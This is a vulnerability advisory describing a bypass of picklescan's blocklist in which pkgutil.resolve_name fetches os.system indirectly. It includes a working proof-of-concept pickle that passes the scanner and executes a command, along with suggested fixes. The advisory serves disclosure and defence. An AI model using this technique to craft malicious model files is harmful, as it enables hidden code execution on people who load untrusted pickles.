PickleScan's pkgutil.resolve_name has a universal blocklist bypass

Summary

pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.

This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.

Severity

Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

Affected Versions

• picklescan <= 1.0.3 (all versions including latest)

Details

How It Works

A pickle file uses two chained REDUCE calls:

1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE

picklescan's opcode scanner sees:

• STACK_GLOBAL with module=pkgutil, name=resolve_name → NOT in blocklist → CLEAN
• The second REDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scanner

The string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

Decompiled Pickle (what the data actually does)

from pkgutil import resolve_name
_var0 = resolve_name('os:system')          # Returns the actual os.system function
_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')
result = _var1

Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

Total: 11+ confirmed RCE chains, all reporting CLEAN.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# resolve_name("os:system")("id")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("pkgutil") + sbu("resolve_name") + b"\x93"  # STACK_GLOBAL
    + sbu("os:system") + b"\x85" + b"R"                # REDUCE: resolve_name("os:system")
    + sbu("id") + b"\x85" + b"R"                       # REDUCE: os.system("id")
    + b"."                                               # STOP
)

 # picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)

Why pkgutil Is Not Blocked

picklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is module/package resolution. However, resolve_name() can resolve ANY attribute from ANY module, making it a universal gadget.

Note: fickling DOES block pkgutil in its UNSAFE_IMPORTS list.

Impact

This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in _unsafe_globals — is rendered ineffective. An attacker needs only use pkgutil.resolve_name as an indirection layer to call any Python function.

This affects:

• HuggingFace Hub (uses picklescan)
• Any ML pipeline using picklescan for safety validation
• Any system relying on picklescan's blocklist to prevent malicious pickle execution

Suggested Fix

1. Immediate: Add pkgutil to _unsafe_globals:

   python

   "pkgutil": {"resolve_name"},

2. Also block similar resolution functions:

   python

   "importlib": "*",
   "importlib.util": "*",

3. Architectural: The blocklist approach cannot defend against indirect resolution gadgets. Even blocking pkgutil, an attacker could find other stdlib functions that resolve module attributes. Consider:

   • Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching "module:function")
   • Treating unknown globals as dangerous by default
   • Switching to an allowlist model